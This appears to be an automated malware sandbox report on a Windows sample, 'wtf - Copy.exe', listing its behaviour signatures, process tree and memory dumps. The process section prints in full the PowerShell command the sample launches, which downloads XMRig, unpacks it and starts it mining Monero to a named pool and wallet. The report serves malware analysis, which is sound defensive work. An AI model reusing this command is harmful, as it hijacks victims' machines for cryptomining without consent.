Analysis

  • max time kernel
    898s
  • max time network
    438s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    02/05/2026, 04:26

General

  • Target
    wtf - Copy.exe
  • Size 235KB
  • Sample260502-e2k83sg14y
  • SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\wtf - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\wtf - Copy.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4580

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_pqsoda01.rs0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pqsoda01.rs0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3600-0-0x00007FF64C230000-0x00007FF64C272000-memory.dmp

        memory/4580-3-0x0000026C755E0000-0x0000026C755F0000-memory.dmp

        memory/4580-4-0x0000026C755E0000-0x0000026C755F0000-memory.dmp

        memory/4580-5-0x0000026C755F0000-0x0000026C75612000-memory.dmp

        memory/4580-13-0x0000026C755E0000-0x0000026C755F0000-memory.dmp

        memory/4580-14-0x0000026C76100000-0x0000026C76144000-memory.dmp

        memory/4580-15-0x0000026C755E0000-0x0000026C755F0000-memory.dmp

        memory/4580-16-0x0000026C755E0000-0x0000026C755F0000-memory.dmp

        memory/4580-17-0x0000026C73CE0000-0x0000026C73CEC000-memory.dmp

        memory/4580-18-0x0000026C755E0000-0x0000026C755F0000-memory.dmp

        memory/4580-28-0x0000026C761D0000-0x0000026C76246000-memory.dmp